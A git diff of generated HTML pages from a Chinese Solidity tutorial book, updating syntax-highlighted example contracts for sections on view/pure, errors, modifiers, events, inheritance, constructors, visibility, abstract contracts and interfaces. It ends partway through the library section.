    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/19_view\345\222\214pure.html" "b/cn/01_solidity\345\237\272\347\241\200/19_view\345\222\214pure.html" index 1a5df6f2..6fb35428 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/19_view\345\222\214pure.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/19_view\345\222\214pure.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,20 +3023,20 @@

    第19节:view和pure

  • view:表示函数中不会修改状态变量,只是读取;
  • pure:表示函数中不会使用状态变量,既不修改也不读取。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ViewAndPure {
    -    uint public x = 1;
    +    uint public x = 1;
     
    -    // Promise not to modify the state.
    -    function addToX(uint y) public view returns (uint) {
    -        return x + y;
    +    // Promise not to modify the state.
    +    function addToX(uint y) public view returns (uint) {
    +        return x + y;
         }
     
    -    // Promise not to modify or read from the state.
    -    function add(uint i, uint j) public pure returns (uint) {
    -        return i + j;
    +    // Promise not to modify or read from the state.
    +    function add(uint i, uint j) public pure returns (uint) {
    +        return i + j;
         }
     }
     
    @@ -3071,7 +3067,7 @@

    第19节:view和pure

    @@ -3157,14 +3153,6 @@

    第19节:view和pure

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/20_error.html" "b/cn/01_solidity\345\237\272\347\241\200/20_error.html" index 8a38826c..81a4dede 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/20_error.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/20_error.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,50 +3042,78 @@

    第20节:错误Error

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
    +
    +contract Error {
    +    function testRequire(uint _i) public pure {
    +          // 期待_i > 10,如果i <= 10,则会抛出错误
    +        require(_i > 10, "Input must be greater than 10");
    +    }
     
    -contract Error {
    -    function testRequire(uint _i) public pure {
    -          // 期待_i > 10,如果i <= 10,则会抛出错误 require(_i> 10, "Input must be greater than 10");
    +    function testRevert(uint _i) public pure {
    +        // 如果校验条件过于复杂,则可以使用revert
    +        if (_i <= 10) {
    +            revert("Input must be greater than 10");
    +        }
         }
     
    -    function testRevert(uint _i) public pure {
    -        // 如果校验条件过于复杂,则可以使用revert
    -        if (_i 
    + uint public num; + + function testAssert() public view { + // assert用于校验不可变量,一般用于校验内部错误 + // num == 0 为true时继续向下执行 + // 不提供错误信息 + assert(num == 0); + } + + // custom error + error InsufficientBalance(uint balance, uint withdrawAmount); + + function testCustomError(uint _withdrawAmount) public view { + uint bal = address(this).balance; + if (bal < _withdrawAmount) { + revert InsufficientBalance({balance: bal, withdrawAmount: _withdrawAmount}); + } + } +} +

    另一个示例:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Account {
         uint public balance;
    -    uint public constant MAX_UINT = 2**256 - 1;
    +    uint public constant MAX_UINT = 2**256 - 1;
     
    -    function deposit(uint _amount) public {
    +    function deposit(uint _amount) public {
             uint oldBalance = balance;
             uint newBalance = balance + _amount;
     
    -        // balance + _amount does not overflow if balance + _amount >= balance
    -        require(newBalance >= oldBalance, "Overflow");
    +        // balance + _amount does not overflow if balance + _amount >= balance
    +        require(newBalance >= oldBalance, "Overflow");
     
             balance = newBalance;
     
             assert(balance >= oldBalance);
         }
     
    -    function withdraw(uint _amount) public {
    +    function withdraw(uint _amount) public {
             uint oldBalance = balance;
     
    -        // balance - _amount does not underflow if balance >= _amount
    -        require(balance >= _amount, "Underflow");
    +        // balance - _amount does not underflow if balance >= _amount
    +        require(balance >= _amount, "Underflow");
     
    -        if (balance < _amount) {
    -            revert("Underflow");
    +        if (balance < _amount) {
    +            revert("Underflow");
             }
     
             balance -= _amount;
     
    -        assert(balance 
    + assert(balance <= oldBalance); + } +} +
    @@ -3117,7 +3141,7 @@

    第20节:错误Error

    @@ -3203,14 +3227,6 @@

    第20节:错误Error

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/21_\344\277\256\351\245\260\345\231\250modifier.html" "b/cn/01_solidity\345\237\272\347\241\200/21_\344\277\256\351\245\260\345\231\250modifier.html" index 96b5af88..f1259deb 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/21_\344\277\256\351\245\260\345\231\250modifier.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/21_\344\277\256\351\245\260\345\231\250modifier.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,56 +3024,56 @@

    第21节:修饰器modifier

  • 参数校验
  • 防止重入攻击等
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract FunctionModifier {
    -    // We will use these variables to demonstrate how to use modifiers.
    +    // We will use these variables to demonstrate how to use modifiers.
         address public owner;
    -    uint public x = 10;
    +    uint public x = 10;
         bool public locked;
     
    -    constructor() {
    -        // Set the transaction sender as the owner of the contract.
    +    constructor() {
    +        // Set the transaction sender as the owner of the contract.
             owner = msg.sender;
         }
     
    -    // 1. Modifier to check that the caller is the owner of the contract.
    -    modifier onlyOwner() {
    -        require(msg.sender == owner, "Not owner");
    -        // Underscore is a special character only used inside
    -        // a function modifier and it tells Solidity to
    -        // execute the rest of the code.
    +    // 1. Modifier to check that the caller is the owner of the contract.
    +    modifier onlyOwner() {
    +        require(msg.sender == owner, "Not owner");
    +        // Underscore is a special character only used inside
    +        // a function modifier and it tells Solidity to
    +        // execute the rest of the code.
             _;
         }
     
    -    // 2. Modifiers can take inputs. This modifier checks that the
    -    // address passed in is not the zero address.
    -    modifier validAddress(address _addr) {
    -        require(_addr != address(0), "Not valid address");
    +    // 2. Modifiers can take inputs. This modifier checks that the
    +    // address passed in is not the zero address.
    +    modifier validAddress(address _addr) {
    +        require(_addr != address(0), "Not valid address");
             _;
         }
     
    -    function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
    +    function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
             owner = _newOwner;
         }
     
    -    // Modifiers can be called before and / or after a function.
    -    // This modifier prevents a function from being called while
    -    // it is still executing.
    -    modifier noReentrancy() {
    -        require(!locked, "No reentrancy");
    +    // Modifiers can be called before and / or after a function.
    +    // This modifier prevents a function from being called while
    +    // it is still executing.
    +    modifier noReentrancy() {
    +        require(!locked, "No reentrancy");
     
    -        locked = true;
    +        locked = true;
             _;
    -        locked = false;
    +        locked = false;
         }
     
    -    function decrement(uint i) public noReentrancy {
    +    function decrement(uint i) public noReentrancy {
             x -= i;
     
    -        if (i > 1) {
    -            decrement(i - 1);
    +        if (i > 1) {
    +            decrement(i - 1);
             }
         }
     }
    @@ -3109,7 +3105,7 @@ 

    第21节:修饰器modifier

    @@ -3195,14 +3191,6 @@

    第21节:修饰器modifier

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/22_\344\272\213\344\273\266Event.html" "b/cn/01_solidity\345\237\272\347\241\200/22_\344\272\213\344\273\266Event.html" index ba6cc0d4..9178f0b3 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/22_\344\272\213\344\273\266Event.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/22_\344\272\213\344\273\266Event.html" @@ -36,10 +36,6 @@ - - - - @@ -3033,20 +3029,20 @@

    第22节:事件Event

  • subgraph对合约事件进行监听,计算(如:统计用户数量)
  • 前端程序直接访问subgraph的服务,获得统计数据(这避免了在合约层面统计数据的费用,并且获取速度更快)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Event {
    -    // Event declaration
    -    // Up to 3 parameters can be indexed.
    -    // Indexed parameters helps you filter the logs by the indexed parameter
    -    event Log(address indexed sender, string message); // 修饰为indexed
    -    event AnotherLog(); // 无参数的事件
    -      event TestAnonymous(address indexed sender, uint256 num) anonymous; // 匿名事件
    -
    -    function test() public {
    -        emit Log(msg.sender, "Hello World!");
    -        emit Log(msg.sender, "Hello EVM!");
    +    // Event declaration
    +    // Up to 3 parameters can be indexed.
    +    // Indexed parameters helps you filter the logs by the indexed parameter
    +    event Log(address indexed sender, string message); // 修饰为indexed
    +    event AnotherLog(); // 无参数的事件
    +      event TestAnonymous(address indexed sender, uint256 num) anonymous; // 匿名事件
    +
    +    function test() public {
    +        emit Log(msg.sender, "Hello World!");
    +        emit Log(msg.sender, "Hello EVM!");
             emit AnotherLog();
         }
     }
    @@ -3099,7 +3095,7 @@ 

    第22节:事件Event

    @@ -3185,14 +3181,6 @@

    第22节:事件Event

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/23_\347\273\247\346\211\277\347\232\204\346\226\271\346\263\225_\351\207\215\345\206\231.html" "b/cn/01_solidity\345\237\272\347\241\200/23_\347\273\247\346\211\277\347\232\204\346\226\271\346\263\225_\351\207\215\345\206\231.html" index 6cd29e2a..23c5181e 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/23_\347\273\247\346\211\277\347\232\204\346\226\271\346\263\225_\351\207\215\345\206\231.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/23_\347\273\247\346\211\277\347\232\204\346\226\271\346\263\225_\351\207\215\345\206\231.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,72 +3026,72 @@

    第23节:Inheritance、vi
  • 继承的顺序很重要,遵循最远继承,即后面继承的合约会覆盖前面父合约的方法
  • super会调用继承链条上的每一个合约的相关函数,而不仅仅是最近的父合约
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.10;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.10;
     
    -/* Inheritance tree
    +/* Inheritance tree
        A
      /  \
     B   C
      \ /
       D
    -*/
    +*/
     
     contract A {
    -    // This is called an event. You can emit events from your function
    -    // and they are logged into the transaction log.
    -    // In our case, this will be useful for tracing function calls.
    +    // This is called an event. You can emit events from your function
    +    // and they are logged into the transaction log.
    +    // In our case, this will be useful for tracing function calls.
         event Log(string message);
     
    -    function foo() public virtual {
    -        emit Log("A.foo called");
    +    function foo() public virtual {
    +        emit Log("A.foo called");
         }
     
    -    function bar() public virtual {
    -        emit Log("A.bar called");
    +    function bar() public virtual {
    +        emit Log("A.bar called");
         }
     }
     
     contract B is A {
    -    function foo() public virtual override {
    -        emit Log("B.foo called");
    +    function foo() public virtual override {
    +        emit Log("B.foo called");
             A.foo();
         }
     
    -    function bar() public virtual override {
    -        emit Log("B.bar called");
    -        super.bar();
    +    function bar() public virtual override {
    +        emit Log("B.bar called");
    +        super.bar();
         }
     }
     
     contract C is A {
    -    function foo() public virtual override {
    -        emit Log("C.foo called");
    +    function foo() public virtual override {
    +        emit Log("C.foo called");
             A.foo();
         }
     
    -    function bar() public virtual override {
    -        emit Log("C.bar called");
    -        super.bar();
    +    function bar() public virtual override {
    +        emit Log("C.bar called");
    +        super.bar();
         }
     }
     
     contract D is B, C {
    -    // Try:
    -    // - Call D.foo and check the transaction logs.
    -    //   Although D inherits A, B and C, it only called C and then A.
    +    // Try:
    +    // - Call D.foo and check the transaction logs.
    +    //   Although D inherits A, B and C, it only called C and then A.
     
     
    -    function foo() public override(B, C) {
    -        super.foo();
    +    function foo() public override(B, C) {
    +        super.foo();
         }
     
    -      // Try:
    -    // - Call D.bar and check the transaction logs
    -    //   D called C, then B, and finally A.
    -    //   Although super was called twice (by B and C) it only called A once.
    -    function bar() public override(B, C) {
    -        super.bar();
    +      // Try:
    +    // - Call D.bar and check the transaction logs
    +    //   D called C, then B, and finally A.
    +    //   Although super was called twice (by B and C) it only called A once.
    +    function bar() public override(B, C) {
    +        super.bar();
         }
     }
     
    @@ -3132,7 +3128,7 @@

    第23节:Inheritance、vi @@ -3218,14 +3214,6 @@

    第23节:Inheritance、vi - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/24_\347\273\247\346\211\277\347\212\266\346\200\201\345\217\230\351\207\217_\350\246\206\347\233\226.html" "b/cn/01_solidity\345\237\272\347\241\200/24_\347\273\247\346\211\277\347\212\266\346\200\201\345\217\230\351\207\217_\350\246\206\347\233\226.html" index 887e2cea..00433051 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/24_\347\273\247\346\211\277\347\212\266\346\200\201\345\217\230\351\207\217_\350\246\206\347\233\226.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/24_\347\273\247\346\211\277\347\212\266\346\200\201\345\217\230\351\207\217_\350\246\206\347\233\226.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,30 +3022,30 @@

    第24节:继承
  • 状态变量无法进行重写,只能继承父类状态变量
  • 但是可以通过在子合约的构造函数中进行覆盖,从而达到重写目的
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract A {
    -    string public name = "Contract A";
    +    string public name = "Contract A";
     
    -    function getName() public view returns (string memory) {
    -        return name;
    +    function getName() public view returns (string memory) {
    +        return name;
         }
     }
     
    -// Shadowing is disallowed in Solidity 0.6
    -// This will not compile
    -// contract B is A {
    -//     string public name = "Contract B";
    -// }
    +// Shadowing is disallowed in Solidity 0.6
    +// This will not compile
    +// contract B is A {
    +//     string public name = "Contract B";
    +// }
     
     contract C is A {
    -    // This is the correct way to override inherited state variables.
    -    constructor() {
    -        name = "Contract C";
    +    // This is the correct way to override inherited state variables.
    +    constructor() {
    +        name = "Contract C";
         }
     
    -    // C.getName returns "Contract C"
    +    // C.getName returns "Contract C"
     }
     
    @@ -3079,7 +3075,7 @@

    第24节:继承 @@ -3165,14 +3161,6 @@

    第24节:继承 - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/25_\346\236\204\351\200\240\345\207\275\346\225\260.html" "b/cn/01_solidity\345\237\272\347\241\200/25_\346\236\204\351\200\240\345\207\275\346\225\260.html" index 96b89258..b8acfbbb 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/25_\346\236\204\351\200\240\345\207\275\346\225\260.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/25_\346\236\204\351\200\240\345\207\275\346\225\260.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,59 +3022,59 @@

    第25节:构造函数constructor构造函数是可选的,在部署合约时会自动被调用
  • 在合约继承的时候,如果父合约有构造函数,则需要显示的对父合约进行构造
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// Base contract X
    +// Base contract X
     contract X {
         string public name;
     
    -    constructor(string memory _name) {
    +    constructor(string memory _name) {
             name = _name;
         }
     }
     
    -// Base contract Y
    +// Base contract Y
     contract Y {
         string public text;
     
    -    constructor(string memory _text) {
    +    constructor(string memory _text) {
             text = _text;
         }
     }
     
    -// There are 2 ways to initialize parent contract with parameters.
    +// There are 2 ways to initialize parent contract with parameters.
     
    -// 1. Pass the parameters here in the inheritance list.
    -contract B is X("Input to X"), Y("Input to Y") {
    +// 1. Pass the parameters here in the inheritance list.
    +contract B is X("Input to X"), Y("Input to Y") {
     
     }
     
     contract C is X, Y {
    -    // 2. Pass the parameters here in the constructor,
    -    // similar to function modifiers.
    -    constructor(string memory _name, string memory _text) X(_name) Y(_text) {}
    +    // 2. Pass the parameters here in the constructor,
    +    // similar to function modifiers.
    +    constructor(string memory _name, string memory _text) X(_name) Y(_text) {}
     }
     
    -// Parent constructors are always called in the order of inheritance
    -// regardless of the order of parent contracts listed in the
    -// constructor of the child contract.
    +// Parent constructors are always called in the order of inheritance
    +// regardless of the order of parent contracts listed in the
    +// constructor of the child contract.
     
    -// 构造顺序取决于继承顺序(由左至右),而不是实例化顺序
    -// Order of constructors called:
    -// 1. X
    -// 2. Y
    -// 3. D
    +// 构造顺序取决于继承顺序(由左至右),而不是实例化顺序
    +// Order of constructors called:
    +// 1. X
    +// 2. Y
    +// 3. D
     contract D is X, Y {
    -    constructor() X("X was called") Y("Y was called") {}
    +    constructor() X("X was called") Y("Y was called") {}
     }
     
    -// Order of constructors called:
    -// 1. X
    -// 2. Y
    -// 3. E
    +// Order of constructors called:
    +// 1. X
    +// 2. Y
    +// 3. E
     contract E is X, Y {
    -    constructor() Y("Y was called") X("X was called") {}
    +    constructor() Y("Y was called") X("X was called") {}
     }
     
    @@ -3108,7 +3104,7 @@

    第25节:构造函数constructor var gitbook = gitbook || []; gitbook.push(function() { - gitbook.page.hasChanged({"page":{"title":"第25节:构造函数","level":"1.8.25","depth":2,"next":{"title":"第26节:可见性visibility","level":"1.8.26","depth":2,"path":"01_solidity基础/26_可见性visibility.md","ref":"01_solidity基础/26_可见性visibility.md","articles":[]},"previous":{"title":"第24节:继承状态变量_覆盖","level":"1.8.24","depth":2,"path":"01_solidity基础/24_继承状态变量_覆盖.md","ref":"01_solidity基础/24_继承状态变量_覆盖.md","articles":[]},"dir":"ltr"},"config":{"plugins":["heading-anchors@1.0.3","ga@1.0.1","richquotes@0.0.9","github@2.0.0","language-picker","toggle-chapters","codeblock-label","-search","-lunr","page-toc-button","include-codeblock","js-console","honkit-plugin-mermaid"],"root":"./","styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"language-picker":{"grid-columns":3},"github":{"url":"https://github.com/dukedaily/solidity-expert"},"codeblock-label":{},"honkit-plugin-mermaid":{"theme":"default"},"fontsettings":{"theme":"white","family":"sans","size":2},"js-console":{},"richquotes":{"default":false},"heading-anchors":{},"highlight":{},"page-toc-button":{},"ga":{"configuration":"auto","token":"UA-51680040-3"},"include-codeblock":{"check":false,"edit":false,"lang":"","fixlang":false,"template":"default","theme":"chrome","unindent":false},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false},"toggle-chapters":{}},"theme":"default","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56},"embedFonts":false},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{"esversion":"2022","nodeversion":"18.12.0","npmversion":"8.19.2","triplebackticks":"```","console":""},"language":"cn","gitbook":"*"},"file":{"path":"01_solidity基础/25_构造函数.md","mtime":"2023-09-23T13:08:36.915Z","type":"markdown"},"gitbook":{"version":"3.7.3","time":"2024-08-23T16:27:32.019Z"},"basePath":"..","book":{"language":"cn"}}); + gitbook.page.hasChanged({"page":{"title":"第25节:构造函数","level":"1.8.25","depth":2,"next":{"title":"第26节:可见性visibility","level":"1.8.26","depth":2,"path":"01_solidity基础/26_可见性visibility.md","ref":"01_solidity基础/26_可见性visibility.md","articles":[]},"previous":{"title":"第24节:继承状态变量_覆盖","level":"1.8.24","depth":2,"path":"01_solidity基础/24_继承状态变量_覆盖.md","ref":"01_solidity基础/24_继承状态变量_覆盖.md","articles":[]},"dir":"ltr"},"config":{"plugins":["heading-anchors@1.0.3","ga@1.0.1","richquotes@0.0.9","github@2.0.0","language-picker","toggle-chapters","codeblock-label","-search","-lunr","page-toc-button","include-codeblock","js-console"],"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"language-picker":{"grid-columns":3},"github":{"url":"https://github.com/dukedaily/solidity-expert"},"codeblock-label":{},"fontsettings":{"theme":"white","family":"sans","size":2},"js-console":{},"richquotes":{"default":false},"heading-anchors":{},"highlight":{},"page-toc-button":{},"ga":{"configuration":"auto","token":"UA-51680040-3"},"include-codeblock":{"check":false,"edit":false,"lang":"","fixlang":false,"template":"default","theme":"chrome","unindent":false},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false},"toggle-chapters":{}},"theme":"default","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56},"embedFonts":false},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{},"language":"cn","gitbook":"*"},"file":{"path":"01_solidity基础/25_构造函数.md","mtime":"2023-09-23T13:08:36.915Z","type":"markdown"},"gitbook":{"version":"3.7.3","time":"2024-08-24T00:11:31.715Z"},"basePath":"..","book":{"language":"cn"}}); }); @@ -3194,14 +3190,6 @@

    第25节:构造函数constructor - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/26_\345\217\257\350\247\201\346\200\247visibility.html" "b/cn/01_solidity\345\237\272\347\241\200/26_\345\217\257\350\247\201\346\200\247visibility.html" index 0cec78a4..26a59108 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/26_\345\217\257\350\247\201\346\200\247visibility.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/26_\345\217\257\350\247\201\346\200\247visibility.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,70 +3026,70 @@

    第26节:可见性visibility

  • external:仅允许外部地址(EOA或CA)调用,合约内部及子合约都不能调用;(早期版本可以使用this调用external方法)
  • 另,状态变量可以被修饰为:publi, private, internal,但是无法修饰为external

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Base {
    -    // Private function can only be called
    -    // - inside this contract
    -    // Contracts that inherit this contract cannot call this function.
    -    function privateFunc() private pure returns (string memory) {
    -        return "private function called";
    +    // Private function can only be called
    +    // - inside this contract
    +    // Contracts that inherit this contract cannot call this function.
    +    function privateFunc() private pure returns (string memory) {
    +        return "private function called";
         }
     
    -    function testPrivateFunc() public pure returns (string memory) {
    -        return privateFunc();
    +    function testPrivateFunc() public pure returns (string memory) {
    +        return privateFunc();
         }
     
    -    // Internal function can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    function internalFunc() internal pure returns (string memory) {
    -        return "internal function called";
    +    // Internal function can be called
    +    // - inside this contract
    +    // - inside contracts that inherit this contract
    +    function internalFunc() internal pure returns (string memory) {
    +        return "internal function called";
         }
     
    -    function testInternalFunc() public pure virtual returns (string memory) {
    -        return internalFunc();
    +    function testInternalFunc() public pure virtual returns (string memory) {
    +        return internalFunc();
         }
     
    -    // Public functions can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    // - by other contracts and accounts
    -    function publicFunc() public pure returns (string memory) {
    -        return "public function called";
    +    // Public functions can be called
    +    // - inside this contract
    +    // - inside contracts that inherit this contract
    +    // - by other contracts and accounts
    +    function publicFunc() public pure returns (string memory) {
    +        return "public function called";
         }
     
    -    // External functions can only be called
    -    // - by other contracts and accounts
    -    function externalFunc() external pure returns (string memory) {
    -        return "external function called";
    +    // External functions can only be called
    +    // - by other contracts and accounts
    +    function externalFunc() external pure returns (string memory) {
    +        return "external function called";
         }
     
    -    // This function will not compile since we're trying to call
    -    // an external function here.
    -    // function testExternalFunc() public pure returns (string memory) {
    -    //     return externalFunc();
    -    // }
    -
    -    // State variables
    -    string private privateVar = "my private variable";
    -    string internal internalVar = "my internal variable";
    -    string public publicVar = "my public variable";
    -    // State variables cannot be external so this code won't compile.
    -    // string external externalVar = "my external variable";
    +    // This function will not compile since we're trying to call
    +    // an external function here.
    +    // function testExternalFunc() public pure returns (string memory) {
    +    //     return externalFunc();
    +    // }
    +
    +    // State variables
    +    string private privateVar = "my private variable";
    +    string internal internalVar = "my internal variable";
    +    string public publicVar = "my public variable";
    +    // State variables cannot be external so this code won't compile.
    +    // string external externalVar = "my external variable";
     }
     
     contract Child is Base {
    -    // Inherited contracts do not have access to private functions
    -    // and state variables.
    -    // function testPrivateFunc() public pure returns (string memory) {
    -    //     return privateFunc();
    -    // }
    -
    -    // Internal function call be called inside child contracts.
    -    function testInternalFunc() public pure override returns (string memory) {
    -        return internalFunc();
    +    // Inherited contracts do not have access to private functions
    +    // and state variables.
    +    // function testPrivateFunc() public pure returns (string memory) {
    +    //     return privateFunc();
    +    // }
    +
    +    // Internal function call be called inside child contracts.
    +    function testInternalFunc() public pure override returns (string memory) {
    +        return internalFunc();
         }
     }
     
    @@ -3124,7 +3120,7 @@

    第26节:可见性visibility

    @@ -3210,14 +3206,6 @@

    第26节:可见性visibility

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/27_abstract.html" "b/cn/01_solidity\345\237\272\347\241\200/27_abstract.html" index 8fe67c8c..d7e375e0 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/27_abstract.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/27_abstract.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,8 +3025,39 @@

    第27节:abstract

  • abstract合约中未实现的函数必须在子合约中实现,即所有在abstract中定义的函数都必须有实现;
  • abstract合约不能单独部署,必须被继承后才能部署;
  • -
    // SPDX-License-Identifier: GPL-3.0
    -pragma solidity >=0.6.0 
    +
    // SPDX-License-Identifier: GPL-3.0
    +pragma solidity >=0.6.0 <0.9.0;
    +
    +abstract contract Animal {
    +    string public species;
    +    constructor(string memory _base) {
    +        species = _base;
    +    }
    +}
    +
    +abstract contract Feline {
    +    uint public num;
    +    function utterance() public pure virtual returns (bytes32);
    +
    +    function base(uint _num) public returns(uint, string memory) {
    +        num = _num;
    +        return (num, "hello world!");
    +    }
    +}
    +
    +// 由于Animal中的构造函数没有进行初始化,所以必须修饰为abstract
    +abstract contract Cat1 is Feline, Animal {
    +    function utterance() public pure override returns (bytes32) { 
    +      return "miaow"; 
    +    }
    +}
    +
    +contract Cat2 is Feline, Animal("Animal") {
    +    function utterance() public pure override returns (bytes32) { 
    +      return "miaow"; 
    +    }
    +}
    +

    手册:https://docs.soliditylang.org/en/v0.8.14/contracts.html?highlight=abstract#abstract-contracts

    @@ -3059,7 +3086,7 @@

    第27节:abstract

    @@ -3145,14 +3172,6 @@

    第27节:abstract

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/28_interface.html" "b/cn/01_solidity\345\237\272\347\241\200/28_interface.html" index 67c6364e..336bb2e9 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/28_interface.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/28_interface.html" @@ -36,10 +36,6 @@ - - - - @@ -3031,64 +3027,64 @@

    第28节:Interface

  • 接口中不能定义状态变量。
  • abstract和interface的区别
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Counter {
         uint public count;
     
    -    function increment() external {
    -        count += 1;
    +    function increment() external {
    +        count += 1;
         }
     }
     
     interface IBase {
    -    function count() external view returns (uint);
    +    function count() external view returns (uint);
     }
     
     interface ICounter is IBase {
    -    function increment() external;
    +    function increment() external;
     }
     
     contract MyContract {
    -    function incrementCounter(address _counter) external {
    +    function incrementCounter(address _counter) external {
             ICounter(_counter).increment();
         }
     
    -    function getCount(address _counter) external view returns (uint) {
    -        return ICounter(_counter).count();
    +    function getCount(address _counter) external view returns (uint) {
    +        return ICounter(_counter).count();
         }
     }
     

    uniswap demo:

    -
    // Uniswap example
    +
    // Uniswap example
     interface UniswapV2Factory {
    -    function getPair(address tokenA, address tokenB)
    -        external
    -        view
    -        returns (address pair);
    +    function getPair(address tokenA, address tokenB)
    +        external
    +        view
    +        returns (address pair);
     }
     
     interface UniswapV2Pair {
    -    function getReserves()
    -        external
    -        view
    -        returns (
    +    function getReserves()
    +        external
    +        view
    +        returns (
                 uint112 reserve0,
                 uint112 reserve1,
                 uint32 blockTimestampLast
    -        );
    +        );
     }
     
     contract UniswapExample {
    -    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    -    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    -    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    +    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    +    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    +    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
     
    -    function getTokenReserves() external view returns (uint, uint) {
    +    function getTokenReserves() external view returns (uint, uint) {
             address pair = UniswapV2Factory(factory).getPair(dai, weth);
             (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves();
    -        return (reserve0, reserve1);
    +        return (reserve0, reserve1);
         }
     }
     
    @@ -3119,7 +3115,7 @@

    第28节:Interface

    @@ -3205,14 +3201,6 @@

    第28节:Interface

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/29_library.html" "b/cn/01_solidity\345\237\272\347\241\200/29_library.html" index f0e2457a..cb1f8f57 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/29_library.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/29_library.html" @@ -36,10 +36,6 @@ - - - - @@ -3033,80 +3029,80 @@

    第29节:library

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
